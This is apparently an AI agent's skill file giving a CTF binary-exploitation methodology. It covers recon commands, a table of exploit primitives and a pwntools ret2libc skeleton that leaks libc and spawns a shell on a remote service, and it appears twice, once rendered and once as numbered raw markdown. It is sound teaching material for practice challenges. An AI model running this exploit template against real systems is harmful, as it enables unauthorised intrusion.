CTF pwn methodology
0. Pwntools venv
The MCP server runs pwntools through a dedicated venv at ~/.ctf-venvs/pwntools/. If missing:
wsl.exe bash -lc "mkdir -p ~/.ctf-venvs && python3 -m venv ~/.ctf-venvs/pwntools && ~/.ctf-venvs/pwntools/bin/pip install pwntools z3-solver"
Then use it: run_script(code, venv="pwntools").
1. Identify the binary
file ./vuln
checksec --file=./vuln # or: rabin2 -I ./vuln
strings ./vuln | head -50
nm ./vuln | head -30 # symbols if not stripped
Note: RELRO, Canary, NX, PIE, arch (x86 / x86_64 / arm / mips), libc version.
If a libc is provided, identify it:
strings libc.so.6 | grep "GNU C Library"
# or
./vuln_pwntools_helper # see below
libc-database and libc-rip/libc.rip (web) — find offsets by leaked function addresses.
2. Find the bug
Static:
objdump -d -M intel ./vuln
- Ghidra /
cutter (radare2 GUI) for decompile — both in registry
- Look for:
gets, strcpy, unbounded read, printf(user_input), integer overflow on size, double free, UAF
Dynamic:
gdb-multiarch ./vuln + pwndbg / gef
- Cyclic pattern:
cyclic 200 → run → crash → cyclic -l <RIP> to find offset
3. Pick the primitive
| Class |
Primitive |
Tool |
| Stack BOF, no canary, NX off |
shellcode |
pwntools shellcraft.sh() |
| Stack BOF, NX on, ASLR off |
ret2win / static ROP |
ROPgadget --binary ./vuln |
| Stack BOF, NX+ASLR, libc leak |
ret2libc |
leak with PUTS@got, calc system, /bin/sh |
| Stack BOF, NX+ASLR, no leak |
ret2plt + puts → leak |
classic chain |
| Format string |
%n write / %s leak |
pwntools fmtstr_payload |
| Heap (glibc) |
tcache, fastbin, unsorted bin |
how2heap, pwndbg heap |
| Use-after-free |
dangling pointer abuse |
manual python |
| Kernel |
KASLR leak, modprobe_path, etc |
manual + qemu |
4. Exploit skeleton (pwntools)
from pwn import *
context.binary = ELF("./vuln")
libc = ELF("./libc.so.6")
p = remote("host", 1337) # or process("./vuln") for local
# leak
p.sendlineafter(b"> ", b"A" * 40 + p64(elf.plt['puts']) + p64(elf.sym['main']))
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.sym['puts']
# pwn
rop = ROP(libc)
rop.raw(rop.find_gadget(['ret'])) # stack align
rop.system(next(libc.search(b"/bin/sh")))
p.sendline(b"A" * 40 + rop.chain())
p.interactive()
5. Heap (glibc)
- Identify glibc version (matters: 2.27, 2.31, 2.32, 2.34+ differ)
- Useful tcache primitives: tcache poisoning (≥ 2.27), tcache key bypass (≥ 2.32), safe-linking (≥ 2.32)
- Tools:
pwndbg heap, glibc-all-in-one, how2heap (clone if not present)
6. Don't waste time on
- Manual ROP gadget search if the binary is large — use
ROPgadget or ropper
- Reimplementing pwntools functionality (cyclic, fmtstr, ROP chain building)
- Trying win functions if there's no
system symbol — check nm first
After solve
Use the writeup-template skill. Include the final exploit script verbatim.
1---2name: ctf-pwn3description: Use when solving binary exploitation / pwn CTF challenges — buffer overflows, ROP, format strings, heap, kernel pwn. Provides a decision tree, exploit primitive catalog, and uses pwntools via the run_script(venv="pwntools") MCP path. Triggers on "ctf pwn", "binary exploit", "rop", "buffer overflow", "format string", "heap challenge".4---56# CTF pwn methodology78## 0. Pwntools venv910The MCP server runs pwntools through a dedicated venv at `~/.ctf-venvs/pwntools/`. If missing:1112```bash13wsl.exe bash -lc "mkdir -p ~/.ctf-venvs && python3 -m venv ~/.ctf-venvs/pwntools && ~/.ctf-venvs/pwntools/bin/pip install pwntools z3-solver"14```1516Then use it: `run_script(code, venv="pwntools")`.1718## 1. Identify the binary1920```bash21file ./vuln22checksec --file=./vuln # or: rabin2 -I ./vuln23strings ./vuln | head -5024nm ./vuln | head -30 # symbols if not stripped25```2627Note: `RELRO`, `Canary`, `NX`, `PIE`, arch (x86 / x86_64 / arm / mips), libc version.2829If a libc is provided, identify it:3031```bash32strings libc.so.6 | grep "GNU C Library"33# or34./vuln_pwntools_helper # see below35```3637`libc-database` and `libc-rip`/`libc.rip` (web) — find offsets by leaked function addresses.3839## 2. Find the bug4041Static:4243- `objdump -d -M intel ./vuln`44- Ghidra / `cutter` (radare2 GUI) for decompile — both in registry45- Look for: `gets`, `strcpy`, unbounded `read`, `printf(user_input)`, integer overflow on size, double free, UAF4647Dynamic:4849- `gdb-multiarch ./vuln` + `pwndbg` / `gef`50- Cyclic pattern: `cyclic 200` → run → crash → `cyclic -l <RIP>` to find offset5152## 3. Pick the primitive5354| Class | Primitive | Tool |55| --- | --- | --- |56| Stack BOF, no canary, NX off | shellcode | `pwntools shellcraft.sh()` |57| Stack BOF, NX on, ASLR off | ret2win / static ROP | `ROPgadget --binary ./vuln` |58| Stack BOF, NX+ASLR, libc leak | ret2libc | leak with PUTS@got, calc system, /bin/sh |59| Stack BOF, NX+ASLR, no leak | ret2plt + puts → leak | classic chain |60| Format string | %n write / %s leak | pwntools `fmtstr_payload` |61| Heap (glibc) | tcache, fastbin, unsorted bin | `how2heap`, `pwndbg heap` |62| Use-after-free | dangling pointer abuse | manual python |63| Kernel | KASLR leak, modprobe_path, etc | manual + qemu |6465## 4. Exploit skeleton (pwntools)6667```python68from pwn import *6970context.binary = ELF("./vuln")71libc = ELF("./libc.so.6")72p = remote("host", 1337) # or process("./vuln") for local7374# leak75p.sendlineafter(b"> ", b"A" * 40 + p64(elf.plt['puts']) + p64(elf.sym['main']))76leak = u64(p.recvline().strip().ljust(8, b"\x00"))77libc.address = leak - libc.sym['puts']7879# pwn80rop = ROP(libc)81rop.raw(rop.find_gadget(['ret'])) # stack align82rop.system(next(libc.search(b"/bin/sh")))83p.sendline(b"A" * 40 + rop.chain())8485p.interactive()86```8788## 5. Heap (glibc)8990- Identify glibc version (matters: 2.27, 2.31, 2.32, 2.34+ differ)91- Useful tcache primitives: tcache poisoning (≥ 2.27), tcache key bypass (≥ 2.32), safe-linking (≥ 2.32)92- Tools: `pwndbg heap`, `glibc-all-in-one`, `how2heap` (clone if not present)9394## 6. Don't waste time on9596- Manual ROP gadget search if the binary is large — use `ROPgadget` or `ropper`97- Reimplementing pwntools functionality (cyclic, fmtstr, ROP chain building)98- Trying win functions if there's no `system` symbol — check `nm` first99100## After solve101102Use the `writeup-template` skill. Include the final exploit script verbatim.